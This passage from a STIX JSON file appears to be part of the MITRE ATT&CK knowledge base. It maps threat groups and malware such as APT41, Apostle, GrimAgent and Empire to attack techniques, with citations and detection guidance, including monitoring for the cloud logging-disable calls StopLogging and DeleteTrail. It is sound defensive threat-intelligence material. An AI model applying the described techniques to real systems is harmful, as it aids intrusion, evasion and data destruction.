2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-27T18:51:04.640Z","description":"[Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) resulted in the deployment of the VersaMem web shell for follow-on activity.(Citation: Lumen Versa 2024)","relationship_type":"uses","source_ref":"campaign--af0ec65a-caa9-40ef-b1c7-21b71fbf3a10","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f234930f-f7d1-458d-8c79-c73538990f97","type":"relationship","created":"2020-04-28T13:48:00.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT41 March 2020","url":"https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html","description":"Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020."}],"modified":"2020-04-28T14:51:08.720Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor.(Citation: FireEye APT41 March 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f23cf8d3-0b34-4f09-bef1-98d27c33909a","created":"2022-07-01T20:13:54.252Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-01T20:13:54.252Z","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f23f33be-44b8-4995-8f67-e09a43bebd3b","created":"2024-03-28T16:07:12.704Z","revoked":false,"external_references":[{"source_name":"Okta Cross-Tenant Impersonation","description":"Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved March 4, 2024.","url":"https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T16:07:12.704Z","description":"Monitor changes to cloud-based directory services and identity tenants, especially regarding the addition of new federated identity providers. In Okta environments, the event `system.idp.lifecycle.create` will trigger on the creation of an identity provider, while sign-ins from a third-party identity provider will create the event `user.authentication.auth_via_IDP.`(Citation: Okta Cross-Tenant Impersonation)","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2456bbf-ac8a-43c7-b51a-b52e3376726f","created":"2021-07-26T15:14:11.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.438Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) has the ability to add bytes to change the file hash.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f24943ee-409c-45eb-8277-7a7dc197eddd","created":"2024-05-22T20:09:01.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T20:32:26.434Z","description":"[Apostle](https://attack.mitre.org/software/S1133) initially masqueraded as ransomware but actual functionality is a data destruction tool, supported by an internal name linked to an early version, wiper-action. [Apostle](https://attack.mitre.org/software/S1133) writes random data to original files after an encrypted copy is created, along with resizing the original file to zero and changing time property metadata before finally deleting the original file.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--48d96fa0-d027-45aa-a8c3-5d09f65d596d","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f24cbdeb-cf7b-43d9-87b0-9ab10ba74b60","type":"relationship","created":"2021-12-06T15:58:36.388Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"},{"source_name":"Symantec Dragonfly Sept 2017","description":"Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.","url":"https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers"}],"modified":"2021-12-06T20:45:13.802Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has used PowerShell scripts for execution.(Citation: US-CERT TA18-074A)(Citation: Symantec Dragonfly Sept 2017)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f24d37c0-283d-4f37-8278-07fc75cc0e94","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"}],"modified":"2019-04-29T18:01:20.637Z","description":"(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"malware--4e6b9625-bbda-4d96-a652-b3bb45453f26","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2502637-0d4a-4b94-928d-1f140f2d0ba1","type":"relationship","created":"2020-07-27T15:21:26.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}],"modified":"2020-07-30T14:04:59.198Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) has been bundled with legitimate software installation files for disguise.(Citation: Talos Promethium June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f250ea40-1899-4bc4-b7f9-7a795ec32f23","type":"relationship","created":"2022-02-02T15:25:50.369Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-02T15:25:50.369Z","description":"[LitePower](https://attack.mitre.org/software/S0680) can create a scheduled task to enable persistence mechanisms.(Citation: Kaspersky WIRTE November 2021)","relationship_type":"uses","source_ref":"malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f252d0e6-019a-4711-9069-c16930236aa4","type":"relationship","created":"2020-06-01T13:14:42.536Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-01T13:14:42.536Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to XOR the strings for its installer component with a hardcoded 128 byte key.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f25505f6-dbd0-4d7b-8e8c-b3885f206cbf","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.847Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can scan local network for open SMB.(Citation: Github Koadic)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f25b9b24-7c42-42b2-941f-6cb8653043c9","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Stopping CloudTrail from Sending Events to CloudWatch Logs","description":"Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020.","url":"https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html"},{"source_name":"Configuring Data Access audit logs","description":"Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.","url":"https://cloud.google.com/logging/docs/audit/configure-data-access"},{"source_name":"az monitor diagnostic-settings","description":"Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.","url":"https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-04T12:44:14.943Z","description":"Monitor logs for API calls to disable logging. In AWS, monitor for: StopLogging, UpdateTrail DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink and google.logging.v2.ConfigServiceV2.DeleteSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings update and az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.","relationship_type":"detects","source_ref":"x-mitre-data-component--ec0612c5-2644-4c50-bcac-82586974fedd","target_ref":"attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2621533-86be-48f1-855f-36624f9e6064","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T22:08:34.858Z","description":"Monitor executed commands and arguments that may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.\n\nNote: Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on changes to COM registry keys, including HKCU\\Software\\Classes\\CLSID\\*.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f264330f-3c9f-4a2a-a6f6-904a9139bbf5","type":"relationship","created":"2020-06-24T19:26:00.547Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."},{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."},{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T17:42:19.892Z","description":"Upon execution, [Metamorfo](https://attack.mitre.org/software/S0455) has unzipped itself after being downloaded to the system and has performed string decryption.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018)(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f26c53f1-b346-4301-9951-22ffd96ee762","type":"relationship","created":"2019-03-11T19:24:08.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.520Z","description":"[Empire](https://attack.mitre.org/software/S0363) can persist by modifying a .LNK file to include a backdoor.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f26e1997-733e-4c3c-ac26-294048466c52","created":"2019-04-17T13:46:38.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cofense Astaroth Sept 2018","description":"Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:03:49.418Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) collects data in a plaintext file named r1.log before exfiltration. (Citation: Cofense Astaroth Sept 2018)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f278e83c-f93e-403d-a088-30c4d9d3f984","type":"relationship","created":"2020-09-11T14:56:37.193Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T14:56:37.193Z","description":"[Anchor](https://attack.mitre.org/software/S0504) has come with a packed payload.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f27f75b5-824d-43c9-a029-247d7d44ec8f","type":"relationship","created":"2022-03-25T00:25:48.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Security Affairs SILENTTRINITY July 2019","url":"https://securityaffairs.co/wordpress/88021/apt/croatia-government-silenttrinity-malware.html","description":"Paganini, P. (2019, July 7). Croatia government agencies targeted with news SilentTrinity malware. Retrieved March 23, 2022."}],"modified":"2022-03-25T00:25:48.843Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can determine if an anti-virus product is installed through the resolution of the service's virtual SID.(Citation: Security Affairs SILENTTRINITY July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2810da3-1a6f-4c48-826d-929bde7f7af3","type":"relationship","created":"2020-05-21T21:31:34.107Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Pony April 2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}],"modified":"2020-05-21T21:31:34.107Z","description":"[Pony](https://attack.mitre.org/software/S0453) has used scripts to delete itself after execution.(Citation: Malwarebytes Pony April 2016)\t","relationship_type":"uses","source_ref":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2828065-a45c-40ef-86ad-d13c05f648d5","created":"2024-07-02T17:16:29.144Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T18:10:02.503Z","description":"[LunarMail](https://attack.mitre.org/software/S1142) can communicates with C2 using email messages via the Outlook Messaging API (MAPI).(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f283735e-e339-40c7-ba49-30f8d81878e8","created":"2023-09-08T20:27:14.261Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-08T20:58:38.089Z","description":"Monitor call logs from corporate devices to identify patterns of potential voice phishing, such as calls to/from known malicious phone numbers.","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--6a5d222a-a7e0-4656-b110-782c33098289","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f283af63-1fdf-49d3-8a56-304c5be07a83","type":"relationship","created":"2020-06-08T18:06:36.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-08T18:06:36.376Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to steal data from the clipboard of an infected host.(Citation: Kaspersky TajMahal April 2019)\n","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f28627be-fddd-455c-b001-abddaaa29fa7","type":"relationship","created":"2017-05-31T21:33:27.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/winnti-more-than-just-a-game/37029/","description":"Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.","source_name":"Kaspersky Winnti April 2013"}],"modified":"2019-03-25T17:15:03.466Z","description":"[Winnti Group](https://attack.mitre.org/groups/G0044) used stolen certificates to sign its malware.(Citation: Kaspersky Winnti April 2013)","relationship_type":"uses","source_ref":"intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2866ecf-e7fc-43b4-b0d3-4b1ebec56068","created":"2024-08-28T14:21:12.072Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-28T14:21:12.072Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--241f9ea8-f6ae-4f38-92f5-cef5b7e539dd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f28bd1ce-178d-4a02-aa13-3f70319e1f3a","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.","source_ref":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","target_ref":"attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f291084b-a84d-452f-bd1d-d89257c7e8c2","created":"2024-02-22T21:58:47.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-03T19:15:15.359Z","description":"[APT41](https://attack.mitre.org/groups/G0096) transfers post-exploitation files dividing the payload into fixed-size chunks to evade detection.(Citation: Rostovcev APT41 